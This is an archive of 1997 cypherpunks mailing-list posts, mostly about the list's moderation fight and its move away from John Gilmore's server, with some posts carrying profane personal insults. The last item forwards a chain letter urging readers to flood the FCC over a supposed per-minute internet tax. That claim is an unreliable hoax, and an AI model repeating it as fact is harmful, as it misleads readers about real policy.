Date:  Sat, 08 Feb, 1997 06:11 PM EDT
From:  density4@cts.com

Greetings Brother Bob,

>>              RABIN ASSASSINATION FILM REVEALS CONSPIRACY
>>                        by Barry Chamish

You're aware, I take it, that Brother Barry Chamish is also fond of writing
articles about UFOs and little grey space aliens.  Don't believe me, check
it out:

        http://www.cco.net/~trufax/ufo/angel.html

-Brother Blue, B:.B:., 33x
 Sacerdotal Knight of National Security, etc.
 http://www.users.cts.com/sd/d/density4/index.html
 E Pluribus Caeruleus -- "Out of many, THAT WHICH IS BLUE"

Robalini's Note: That's fine by me.  I hope to get some UFO articles and the
like out on this list, for, as I've stated before, I think so far The
Konformist has been a little too politically oriented.  I have been told by
many people that that's a bad idea, that I should stick to this niche, but
screw it, if UFO articles bug you, you can kiss my ass.
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
one year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 22:01:42 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
Message-ID: <199702120601.WAA07338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

mpd@netcom.com (Mike Duvos) writes:
> John Gilmore <gnu@toad.com> writes:
>  > Sandy has agreed to continue moderation through the end of the
>  > original 1-month experiment (through Feb 19).  And it's a good
>  > thing, too, because the "cypherpunks community" had better get
>  > off its whining butt in the next ten days, or it will no longer
>  > exist.
> 
> Ten days notice to relocate a high volume mailing list is
> insufficient.  This is yet another ultimatum by a whining coward
> who does not yet realize he is in a battle he is not going to win
> by escalation of reciprocal pissing.
<big, disgusted, snip>

You know, I was vaugley offended by John's comments about whiny
cypherpunks, until I read this message and realized who he was talking
about. John, thank you for your years of service to the cypherpunk
community 9such as it is), and Sandy, thanks for your well-intentioned
(but doomed from day one) efforts to take some resopnsibility for our
current mess. It's too bad things had to end in such a pissy way, but
anyone who wants to dole out blame should realize that in an anarchy,
all members are responsible for the maintainence of freedom.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 22:02:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
Message-ID: <199702120602.WAA07354@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A Gilmore Supporter writes:

> You know, I was vaugley offended by John's comments about whiny
> cypherpunks, until I read this message and realized who he was talking
> about. John, thank you for your years of service to the cypherpunk
> community 9such as it is), 

John Gilmore's only contribution to Cypherpunks has been to provide
a box.  I can't even remember the last time he contributed something of
interest to the list, and he certainly ranks as one of the least
frequent contributors of substance over the years. 

Any goodwill John might have built up by letting us all use his box
has certainly been eradicated over the last few weeks by his takeover
of the list, and the series of edicts which followed. 

Yes, it was nice of John to donate the use of his box, back in the 
days when he did not feel the urge to exercise unilateral editorial
control.  But if it hadn't been his box, it would have been someone
elses box, and our gratitude towards him shouldn't be so great that
we are willing to sit back and let him do major damage to that which
"Cypherpunks" is supposed to stand for, lest someone claim we are
unappreciative. 

> and Sandy, thanks for your well-intentioned
> (but doomed from day one) efforts to take some resopnsibility for our
> current mess. It's too bad things had to end in such a pissy way, but
> anyone who wants to dole out blame should realize that in an anarchy,
> all members are responsible for the maintainence of freedom.

Sandy, unlike Herr Gilmore, has been a major contributor of substance
to the list since its inception, and hopefully he will continue to be
in the future.  The idea that he should moderate the list was of
course a silly one, but for reasons which do not reflect badly on him
in the least.  

What Mr. Blatz fails to realize is that the "problem" which certain
people tried to solve never really existed.  The quality of the
Cypherpunks list is determined solely by the amount of signal, not
by the amount of noise, unless one is getting ones feed of the 
list via 1200 baud long distance UUCP.  

Anyone can create signal by writing about relevant topics, and if
you feel signal is lacking in your particular area of interest, 
feel free to add some. 

The notion that the list was ever threatened by the humour of Dr. 
Vulis, or the one line bot-spammed insults about Tim May's heritage,
is an absurd one.  No one should have had any problem ignoring such
material, and only a politically naive fool would buy this as the
excuse for the blatant usurpation of the list by Gilmore and crew. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 17 Feb 1997 12:56:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment and moderator liability
Message-ID: <199702172056.MAA13513@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dale Thorn <dthorn@gte.net> writes:
> Adam Back wrote:
> > [summary of events]
> 
> I believe your summary is very accurate except:
> 
> I would add after the paragraph about Dimitri posting the warning
> about C2, that C2's lawyers sent an immediate threatening letter
> to Dimitri.

Agree, that should be added:

15a. Dimitri received a legal notice from C2Net's lawyers about
Dimitri's allegations

> I would change the paragraph about Tim May receiving a warning from
> C2's lawyers to say that Tim May received a warning second-hand that
> anything Tim would say to support or reiterate Dimitri's claims
> would be actionable by C2 as well.

Let's see I wrote:

> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Tim explained the situation in fair detail in his recent post,
explaining, after Sandy's "Absolutely false." retort to my above
claim.  Perhaps my wording could be more accurately changed in the
light of the further explanation from Tim to:

21. Tim was told by a C2Net employee that if he did not desist from
discussing Dimitri's claims about C2Net's StrongHold product, C2Net
would take legal action against him!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Tue, 11 Feb 1997 08:56:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: sandy who??
Message-ID: <199702111656.IAA22307@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

i am a new addition on the mailing list. i am amazed to find that half
the mails talk about "sandy (god knows who he is) and he censoring
mails" rather than crypto stuff.

somebody please let me know who sandy is and what exactly is this
censoring issue.

anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jeannie@accucomm.net@accucomm.net
Date: Tue, 11 Feb 1997 20:46:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remove
Message-ID: <199702120446.UAA06473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please remove our e-mail address from your services we received three 
viruses from erractic re-mail.

Thank You
Allen Woffard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 11 Feb 1997 22:21:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Computer break-ins
Message-ID: <199702120621.WAA07619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

To: cypherpunks@toad.com
Date: Tue Feb 11 22:14:30 1997

      U.S. Experts: Computer Break-Ins Go Unreported    U.S. Experts: 
Computer Break-Ins Go Unreported February 11, 1997, 4:19 PM EST

 WASHINGTON (Reuter) - Security experts said on Tuesday hackers are 
finding it easier to break into computer networks and steal money, 
partly because companies are reluctant to admit that they are 
vulnerable.

 ``If I want to steal money a computer is a much better tool than a 
handgun,'' Daniel Geer, Director of Engineering for Open Market, Inc., 
told a House of Representatives technology subcommittee hearing on 
computer security.

 ``The only way they get caught is if they cross some threshold,'' he 
said. ``They start out stealing $1,000 a day and figure they can get 
away with $2,000 a day and then they get greedy and hit some figure 
which sets off alarm bells.''

 A panel of experts assembled by the subcommittee said many companies 
refuse to report breaches in their security because of they want to 
avoid negative publicity and embarassment.

 ``Most computer crimes are not reported,'' Eugene Spafford of Purdue 
University told the panel. He estimated losses run into ``hundreds of 
millions of dollars'' but said no one really knows since so much goes 
unreported.

 Daniel Farmer, a security consultant, said penetrating a computer 
system was relatively easy. ``Just using simple tests, I could break 
into two-thirds of the systems I tried,'' he said, adding that he could 
easily raise that figure to three-quarters if he wanted.

 Farmer said that during his tests he even discovered a problem with 
the White House World Wide Web site and told the system manager about 
it, but never received a reply.

 ``Defensive programs have been overtaken by offensive programs'' 
developed by hackers, he said.

 Spafford said law enforcement had not been able to keep up with 
advances made by hackers who are able essentially to take over entire 
networks and run them by remote control.

 In addition to banks and corporations, the experts said, government 
secrets can be stolen and threaten national security. They cited recent 
computer network tampering at the Justice Department and the CIA.

 A General Accounting Office study found that there were 250,000 
``hits'' aimed at the Defense Department's computer networks last year 
and 65 percent were successful.

 =A9 Reuters Ltd. All rights reserved. 


     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 12 Feb 1997 06:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Win '95 disk crypto...
Message-ID: <199702121426.GAA20000@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: SOFT> Encrypted disks for Windows NT

 In> From: softwinter@post1.com
 In> Date: Mon, 10 Feb 1997 03:13:22 +0200 (IST)

 In> Soft Winter Corporation, February 10, 1997 released:
 In> Shade - strong encryption software for Windows NT.

 In> Shade allows you to create encrypted disk device inside a file.
 In> Such a device can then be formatted using any file system
 In> (like NTFS or FAT) and used as a regular disk. The only difference
 In> is that Shade will encrypt the data on every write operation
 In> and decrypt it on every read operation.

 In> To download  go to: http://softwinter.bitbucket.co.il

 In> Soft Winter Corporation,
 In> softwinter@post1.com


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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=0p9D
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If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 06:42:11 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
Message-ID: <199702121442.GAA20431@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Eric Cordian <emc@wire.insync.net> writes:
> A Gilmore Supporter writes:
> 
> > You know, I was vaugley offended by John's comments about whiny
> > cypherpunks, until I read this message and realized who he was talking
> > about. John, thank you for your years of service to the cypherpunk
> > community 9such as it is), 
> 
> John Gilmore's only contribution to Cypherpunks has been to provide
> a box.  I can't even remember the last time he contributed something of
> interest to the list, and he certainly ranks as one of the least
> frequent contributors of substance over the years. 

You have obviously never administered a Unix system. Just runing a
machine with a few users requires some effort, I've done it. Managing
a mailing list, especially one this immensly huge, has got to be one
of the bitchliest things on earth. If you think running a majordomo
for cypherpunks is just a matter of "providing a box," why don't you
try it?

> > and Sandy, thanks for your well-intentioned
> > (but doomed from day one) efforts to take some resopnsibility for our
> > current mess. It's too bad things had to end in such a pissy way, but
> > anyone who wants to dole out blame should realize that in an anarchy,
> > all members are responsible for the maintainence of freedom.
> 
> Sandy, unlike Herr Gilmore, has been a major contributor of substance
> to the list since its inception, and hopefully he will continue to be
> in the future.  The idea that he should moderate the list was of
> course a silly one, but for reasons which do not reflect badly on him
> in the least.  
> 
> What Mr. Blatz fails to realize is that the "problem" which certain
> people tried to solve never really existed.  The quality of the
> Cypherpunks list is determined solely by the amount of signal, not
> by the amount of noise, unless one is getting ones feed of the 
> list via 1200 baud long distance UUCP.  

RTFM well-intentioned. And please excuse my lack of gratuitous "scare
quotes." (There, is that better?) List members complained. John said
there was a problem, Sandy belived him and foolishly volunteered to
"moderate" (enough scare quotes for you?) the list.

Maybe John has grown into a crumudgen after his years of taking care
of toad.com, but he's all but out of the picture now. At least he had
the common sence to realize that he was not able to run the list in an
appropriate manner and force a carthises. Better that then to let the
list die out from continuing moderation.

> The notion that the list was ever threatened by the humour of Dr. 
> Vulis, or the one line bot-spammed insults about Tim May's heritage,
> is an absurd one.  No one should have had any problem ignoring such
> material, and only a politically naive fool would buy this as the
> excuse for the blatant usurpation of the list by Gilmore and crew. 

Agreed. I do, after all, read the "unfiltered" list. But you have no
right to tell Mr. Gillmore what to with his machine and his time.
Perhaps 10 days is not enough to get a smooth transition to another
system, but it does have the nice effect of moving people to action.
You could take a look at the literature on social loafing for a full
explanation.

Cordially,
Jeremiah Blatz

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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=2iSj
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 06:41:23 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121441.GAB20401@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
| i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
| and can join.

	While compitition is great (I think this is the second
replacement list?), having multiple cypherpunks lists is a recipie for
confusion and cross-posting, which there is already enough of on
cypherpunks.

	So, I'll make the following suggestion:

	Those who are willing to create lists work together so
that there is a single subscribe address, and a single submit address,
however many exploders exist.

	I would personally prefer to see the name cypherpunks lay
fallow for a while, and suggest cpunks or something similar.

	Note that I'm doing nothing more than making a suggestion.
Take it as my considered enthusiasm for the continuation of
cypherpunks as a list.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 06:41:19 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE MY NAME
Message-ID: <199702121441.GAA20398@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE DO NOT FORWARD FURTHER CYPHERPUNKS MESSAGES TO MY E-MAIL ADDRESS.  THANK
YOU.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:41:15 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122141.NAA05971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Against Moderation" writes:
> Your bigotry seriously undermines the effectiveness of any
> anti-censorship arguments you make.  Are you just trying to get
> everyone to hate those who oppose censorship on cypherpunks.  

The relevance and applicability of an anti-censorship argument has
nothing to do with the non-related personal positions of advocates or
opponents of that argument.

Arguments should not be won or lost by the reputation of the arguer
or one risks one's own manipulation by irrelavent data.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           He who has made a door and a lock, has also made a key.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chefren <chefren@pi.net>
Date: Wed, 12 Feb 1997 06:43:08 -0800 (PST)
To: John Gilmore <cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121443.GAA20474@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:41:40 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122141.NAA05997@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings writes:
>   I hate censors Dr. Grubor.  Dave says hate is a destructive 
> emotion but when properly channeled it can be quite valuable.

I didn't exactly say that. Hate is merely an absence of harmony,
and destruction is sometimes appropriate. What I did say was that
the best way to strengthen an enemy is to hate them.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

The King decided to force his subjects to tell the truth. Nasrudin was 
first in line.  They asked him, "Where are you going?  Tell the truth
or be hanged"  "I am going," said Nasrudin, "to be hanged on that gallows."  
"I don't believe you."  "Very well, if I have told a lie, then hang me!" 
"But that would make it the truth!" "Exactly," said Nasrudin, "your truth."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Monica Fisher <mfisher@ash.nl>
Date: Wed, 12 Feb 1997 06:43:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: please
Message-ID: <199702121443.GAA20469@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please take mfisher@ash.nl off of your mailing list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Wed, 12 Feb 1997 15:12:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: META: Censorship is Going Way too Far
Message-ID: <199702122312.PAA08296@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


And I was very surprized to see this posting in the flames trash can!!
Tim is just calling the Cypherpunks to task.

Tim, what have you done to deserve such treatment?  What agenda is it that
makes it seem as if the machine hosting this mailing list will be in the wrong
hands?  Like the shadow government?

Sorry they are giving you the Dr. V. treatment!


>From cypherpunks-errors@toad.com Tue Feb 11 05:57:27 1997
>Fellow Cypherpunks (of the virtual community, even if not part of any
>particular version of the list(s)),
Articles are dated:
>
>* 2/7/97, 1:46 p.m. PST
>
>* 2/7/97, 1:59 p.m., PST
>
>* 2/7/97, 3:03 p.m., PST
>
>* 2/7/97, 9:46 p.m., PST 

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webmaster@extensis.com
Date: Wed, 12 Feb 1997 16:11:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Extensis CyberViewer Registration
Message-ID: <199702130011.QAA09575@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Gringo,

Thank you for registering your copy of CyberViewer with Extensis!

Your CyberViewer serial number is: JME-100-001-936-690721

Please save this message for your records.

Visit <http://www.extensis.com/products/CyberViewer/> for more information about CyberViewer news & updates!

Thanks for using Extensis CyberViewer!

Jeff Cheney
Product Marketing Manager
jcheney@extensis.com










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac speidel <speidel@lightspeed.net>
Date: Wed, 12 Feb 1997 16:12:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: security
Message-ID: <199702130012.QAA09626@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


does any 1 here a hacker???
--=====================_855792302==_
Content-Type: TEXT/HTML; CHARSET=us-ascii
Content-ID: <Pine.SUN.3.91.970212160438.11558F@crl.crl.com>

<BASE HREF="www.well.com/user/fritoy/sample.html">

<html>
<title>Skinhead Oi Oi</title>

<script>
<!-- // Property of speidel@lightspeed.net
function initArray() {
  this.length = initArray.arguments.length
  for (var i = 0; i < this.length; i++)
    this[i+1] = initArray.arguments[i]
}

var hexChars = "0123456789ABCDEF";

function Dec2Hex (Dec) {
  var a = Dec % 16;
  var b = (Dec - a)/16;
  hex = "" + hexChars.charAt(b) + hexChars.charAt(a);
  return hex;
}

function bgChanger (begin, end, steps) {
  steps = steps -1 ;

  redA     = begin.charAt(0) + begin.charAt(1);
  red_valA = parseInt(redA,'16');
  redB     = end.charAt(0) + end.charAt(1);
  red_valB = parseInt(redB,'16');
  red_int  = ((red_valB - red_valA) / steps) * -1;
  grnA     = begin.charAt(2) + begin.charAt(3);
  grn_valA = parseInt(grnA,'16');
  grnB     = end.charAt(2) + end.charAt(3);
  grn_valB = parseInt(grnB,'16');
  grn_int  = ((grn_valB - grn_valA) / steps) * -1;
  bluA     = begin.charAt(4) + begin.charAt(5);
  blu_valA = parseInt(bluA,'16');
  bluB     = end.charAt(4) + end.charAt(5);
  blu_valB = parseInt(bluB,'16');
  blu_int  = ((blu_valB - blu_valA) / steps) * -1;

  step = 2;
  red = red_valA;
  grn = grn_valA;
  blu = blu_valA;

  document.bgColor = begin;

  while ( steps >= step ) {
    red -= red_int;
    red_round = Math.round(red);
    red_hex = Dec2Hex(red);

    grn -= grn_int;
    grn_round = Math.round(grn);
    grn_hex = Dec2Hex(grn);

    blu -= blu_int;
    blu_round = Math.round(blu);
    blu_hex = Dec2Hex(blu);

    document.bgColor = red_hex + grn_hex + blu_hex;
//    document.write("<br>bgcolor = " + red_hex + grn_hex + blu_hex);

    step++;
  }
  document.bgColor = end;
}
// -->

</script>
</head>

<body bgcolor=#000000 text=#FFFFFF link="FF0000" vlink="8888FF" alink="FF00FF">
<script>

<!-- 
// black to black (pause)
  bgChanger("000000","000000",25);
// black to red
  bgChanger("000000","FF0000",25);
// red to black
  bgChanger("FF0000","000000",25);
// black to purple 
  bgChanger("000000","AA00EE",25);
// purple to black
  bgChanger("AA00EE","000000",25);
// black to blue
  bgChanger("000000","0000FF",25);
// blue to black
  bgChanger("0000FF","000000",25);
// black to blue (pause)
  bgChanger("000000","0000FF",25);
// -->

<!--Begin
var id,pause=0,position=0;
function  scroller()  {
var a,b,msg=document.forma.david.value;
        
        a= (100/msg.length)+1;
        for (b=0;b<=a;b++) msg+="  "+msg;
        document.forma.scroller.value=msg.substring(position,position+100);
        if(position++==200) position=0;
        id=setTimeout("scroller()",150);  
}

// end  -->

</script>
</head>

<body>
<BODY BGCOLOR=000000 text="#000000" link="#0000ff" vlink="#c00c0" onload="scroller()">
<CENTER><FORM>
<BR><BR><BR>
<input type="button" Value="Close" onClick="if (confirm('Are you sure you want to close this window?'))window.close();else (alert('OK, this window will not close yet.'))">
</FORM></CENTER>
<BR>
<CENTER><P><FORM name="forma"><INPUT NAME="david" VALUE="    Speidel@lightspeed.net The End Is HERE!!! The world is falling apart" type="hidden" ><INPUT NAME="scroller" VALUE="" size="35"></FORM></P>
</CENTER>

</BODY>
</html>




--=====================_855792302==_--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:56:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks is born.
Message-ID: <199702122056.MAA04581@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Hi all,

I crossposted the first post to the usenet group to here but just to 
make sure you all get the message I have created alt.cypherpunks.

Even if it is only a temporary measure it will be a forum from which 
we can establish something better. 

Fuck you John, we should have done this a long time ago.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Bray <tbray@textuality.com>
Date: Wed, 12 Feb 1997 21:11:13 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com>
Subject: Re: List for discussing many majordomos
Message-ID: <199702130511.VAA29200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


some idiot subscribed me.

I know how to use majordomo
I know how to read mail headers
Majordomo says that the address that it is sending this shit to is not
 on the list
Much & all as I sympathize with the ethos and practice of cypherpunkery,
 please stop.  
I have asked in the proper approved way many times, and am still deluged.  
GET ME OFF THIS LIST!
Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 16:41:03 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Remove My Name
Message-ID: <199702130041.QAA10351@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I CONTINUE TO  RECEIVE MAIL.  PLEASE REMOVE MY NAME FROM THE MAILING LIST.
THANK YOU






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Wed, 12 Feb 1997 22:26:01 -0800 (PST)
To: Path:  ;
Subject: Unsubcribe
Message-ID: <199702130626.WAA04412@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Unsubcribe <lerhuber@joshuanet.com>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 21:13:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702130513.VAA29410@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--=====================_855820976==_
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.SUN.3.91.970212205911.8620J@crl8.crl.com>

you are forwarding messages to me... stop it.

remove markk@ra1.randomc.com from your mail list...


all of a sudden I'm getting mail from bunches of people

i don't know and who don't know me.


help me out... go to the place where you got my email

address and have them correct their links.




Thank you.              markk
--=====================_855820976==_--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 12 Feb 1997 21:11:35 -0800 (PST)
To: Mark Krell <markk@randomc.com>
Subject: Re :Re?
Message-ID: <199702130511.VAA29279@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
:
:Attachment Converted: "c:\remove1.txt"
:
How, do you imagine, did you get on this God-forsaken list? Anger abounds. 

Is this Kismet that you are here now at this crucial moment of the list's evolution?

Perhaps you have something to offer of which you are not aware.

Avail yourself of our hospitality as we implode. Flee not.

There is meaning to this. So our savants have told us.

Speak the words to Majordomo@toad.com in the message panel (no quotes):

"unsubscribe cypherpunks"

Speak only thus.

Bother us no more at our moment of transfiguration.

Hail and farewell, Bro.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Wed, 12 Feb 1997 21:11:58 -0800 (PST)
Subject: FIGHT THE INTERNET TAX
Message-ID: <199702130511.VAA29301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Subj:  [Fwd: New Internet Tax--Can YOU Afford It?]
Date:  Wed, 12 Feb, 1997 05:00 PM EDT
From:  pentiumpower@internetx.net

You have until tomorrow to protest the new Internet "tax" which the FCC
will be entertaining.  Here is the message which I sent out to everyone
that I could.  I suggest that you spread this message as QUICKLY as
possible.  It is extremely important the FCC be bombarded by messages
and then maybe, just MAYBE, we'll beat this thing!  This is a VERY
SERIOUS ISSUE!!!!  It is extremely important and will determine whether
or not the Internet continues to be available to all of us or just those
who can afford massive fees.  Figure it out, $.10 per minute is $6.00
per hour and this doesn't include your present monthly fees!  Are YOU
going to be willing or able to pay it!

The following is a message which I sent out a week ago.  

The Federal Communications Commission (FCC) is entertaining the
possibility of permitting the telecommunications industry to impose a
per minute charge on Internet Service Providers (ISPs).  This charge
will, obviously, be passed directly on to the user; US!  Needless to
say, this new "tax" will increase the cost of access to the Internet
tremendously!  I strongly believe that this will curtail the growth of
the Internet dramatically.  At a time when access to knowledge and
learning is at an all time high, this additional "tax" will impose an
